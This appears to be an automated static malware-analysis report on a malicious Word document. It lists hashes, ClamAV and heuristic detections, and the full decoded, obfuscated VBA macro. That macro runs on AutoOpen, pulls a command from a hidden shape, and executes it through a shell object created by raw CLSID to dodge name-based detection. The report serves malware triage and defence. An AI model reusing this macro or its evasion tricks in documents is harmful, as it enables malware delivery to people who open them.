Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8e4010b829160dea…

MALICIOUS

Office (OLE)

80.5 KB Created: 2018-11-26 19:28:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 369a969da0f6a3fdfa937d102a3c7f99 SHA-1: e42fdb1fee5ada7e2abf63132e41524bb2ffee86 SHA-256: 8e4010b829160deae7b2d1e92f19bf88ae1922f422de6a5c2fbf014e1b8f74b6
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Sagent-6775322-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6775322-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
          End Select
Set iTowITPEz = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + UlfazRYB)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
          End Select
Set iTowITPEz = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + UlfazRYB)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6494 bytes
SHA-256: e28e2cbeb27a98feb9859e2908736c37d08d8cc1e083887370a79fb577df8173
Detection
ClamAV: No threats found
Obfuscation or payload: likely
113 of 171 identifiers look randomly generated (e.g. 'FGqHUTvRsPz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OLDYozqhS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
      Select Case TLFabb
         Case 75952162
            wGUAqcL = 101978796
            swaCUXEsP = CLng(70823143)
         Case 210240416
            QzzpFa = Oct(XIAFk)
            GjEPRDw = dEZFQw
         Case 260231923
            hMRfK = CDate(JXLlCDrn)
            qqbOrAdwH = Int(219722989 * ntXjocUXa)
      End Select
   On Error Resume Next
      Select Case mtdstQqAP
         Case 223505509
            JbXBowzWw = 328667611
            nJmvUMfw = CLng(141356546)
         Case 325712532
            jdIJiC = Oct(dYmDTZ)
            sMhijKG = HGUGzviVR
         Case 82148964
            quttfRuKS = CDate(tkpMSbA)
            PonMlWCpY = Int(32095438 * zDUqWj)
      End Select
   On Error Resume Next
      Select Case wVsOmaFRl
         Case 48188819
            iSPDhfC = 236867178
            SvXQWZpwc = CLng(292713704)
         Case 69117667
            HIXNw = Oct(OzCpJ)
            VEkZrYZOE = cCzcrNlH
         Case 268579917
            wbWKsqkVn = CDate(qclavSpQ)
            ESwwX = Int(211390240 * QUSBNuA)
      End Select
   On Error Resume Next
      Select Case oUzsXXWa
         Case 201888941
            ChHhb = 235959991
            LDcJhid = CLng(318128037)
         Case 191194007
            iwDLovjK = Oct(ziLzq)
            XiIFLmw = fbUVXHpW
         Case 314333917
            qsiavOmYW = CDate(mszGmj)
            AUqRt = Int(210496069 * YkTZMD)
      End Select
Set mQGwwwi = Shapes("FGqHUTvRsPz")
   On Error Resume Next
      Select Case YhnIlju
         Case 154493756
            GbzcjjsOu = 57201732
            XchzTKvQ = CLng(18519746)
         Case 275046013
            qMZnYvq = Oct(wTuZR)
            jYkFP = wNXFvznpa
         Case 260071446
            UKklkDw = CDate(zXsKP)
            DQznlLK = Int(258974659 * ZdoUrZIBb)
      End Select
   On Error Resume Next
      Select Case dTfDmlK
         Case 251066811
            tIifZ = 180354342
            wpMJBY = CLng(195305219)
         Case 264557124
            hYLmaEqvc = Oct(NfDzaA)
            jpjvzWm = zwtnYE
         Case 275141080
            EFMzzcoSm = CDate(JNjvr)
            IcsoHDhC = Int(161325217 * dFwIDL)
      End Select
   On Error Resume Next
      Select Case jXsEWIzm
         Case 237385527
            dzmEiX = 28130040
            IJYFGMioi = CLng(97357933)
         Case 282358116
            rWViP = Oct(LjNZr)
            mzsijVw = vqJqOd
         Case 111873490
            ZhZlvfXG = CDate(IofMUlj)
            uSIUwE = Int(83583929 * WJBNiQ)
      End Select
XkDQYilRPQk = "" + BkAXK + sNBYDAOI + YlBGHi + wiVizzq + mQGwwwi.TextFrame.TextRange.Text + zZHEoosv + zjcwpdHz + wUDaq
   On Error Resume Next
      Select Case JMsiizo
         Case 225496359
            OdESOAFc = 80525277
            dnqsozwJL = CLng(336514378)
         Case 290095936
            ucUKdFw = Oct(jZBoknjG)
            pRPvO = pTUEilqc
         Case 231324335
            rjcwEWAfY = CDate(DmBHBQ)
            GWhcbjpfr = Int(59972209 * NCqwS)
      End Select
   On Error Resume Next
      Select Case awwvHFp
         Case 107266212
            iAUplFTR = 3925843
            ciNzFJMc = CLng(24898631)
         Case 253895588
            KbjpnQ = Oct(WPORD)
            kzptWz = bEtiuMwsl
         Case 307833355
            ldRTZnz = CDate(oSulUKivN)
            USGGq = Int(289185278 * hCvaS)
      End Select
Set iTowITPEz = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + UlfazRYB)
   On Error Resume Next
      Select Case ZDjQpzlT
         Case 152051075
            qnKUo = 340307376
            CohaOZjBX = CLng(90896460)
         Case 275539008
            pXUfRWsE = Oct(jiLto)
            RvVprYWq = RMKiwOS
         Case 251080101
            hhiVHszwv = CDate(TGWhaoSGC)
            wNThvOF = Int(76888518 * HoRwPM)
      End Select
Const tvOQQT = 0
   On Error Resume Next
      Select Case RtrKUvpF
         Case 84749594
            UUJpKPIH = 280449576
            hviWlwbMK = CLng(69447647)
         Case 72734952
            BbpbcWC = Oct(japwXqS)
            QMOVpKA = KUYVUdv
         Case 15301947
            tThAjmm = CDate(TGHFm)
            ujzwwvpkq = Int(178555471 * QHzjCG)
      End Select
   On Error Resume Next
      Select Case lTqjZijiU
         Case 308831022
            vOuoqEE = 107465168
            EBHtBRXnO = CLng(302972129)
         Case 282825092
            iatUila = Oct(lpAbSYBii)
            KhREnkMz = IKsPaDF
         Case 112847501
            BTITdWNP = CDate(fbcQt)
            fjJGa = Int(257717271 * IlGSj)
      End Select
   On Error Resume Next
      Select Case FAXtVbqw
         Case 12071376
            zvOIvIQ = 186460771
            bpFwGLzZ = CLng(190645609)
         Case 92325504
            CSGBp = Oct(KBsMaaJN)
            lsddh = dwJuACQi
         Case 139586392
            NkBUi = CDate(MTGzOkZBO)
            kGaHwzjPZ = Int(150018182 * HomtTWKMp)
      End Select
   On Error Resume Next
      Select Case DaSJph
         Case 194014339
            RMkzDi = 291407103
            WjIZH = CLng(221940141)
         Case 272119102
            jizon = Oct(lUiHJ)
            ULBuizDq = zBNNBNiQ
         Case 21103443
            VkQZK = CDate(oaKbPQwU)
            pLfNu = Int(49012701 * zVjcmbm)
      End Select
iTowITPEz.Run! XkDQYilRPQk, tvOQQT
   On Error Resume Next
      Select Case zmWzN
         Case 14781048
            iCfbfGT = 43728048
            aYckSl = CLng(42966996)
         Case 289403065
            HFdtAU = Oct(DKqmRtXc)
            HaSSA = UVUtKjYlL
         Case 207905090
            iFzvlCK = CDate(bwcTwjAzh)
            LoZNOk = Int(57834529 * GKzfYiH)
      End Select
   On Error Resume Next
      Select Case owiQhp
         Case 175984007
            TKcHfc = 172063891
            oJqbPPmMK = CLng(31192175)
         Case 213761031
            TfJCziI = Oct(TwijHAH)
            LYULqzS = CZzYLRFcJ
         Case 457529
            oBZIB = CDate(BasfKT)
            IIBlkU = Int(236638552 * MQzZij)
      End Select
End Sub

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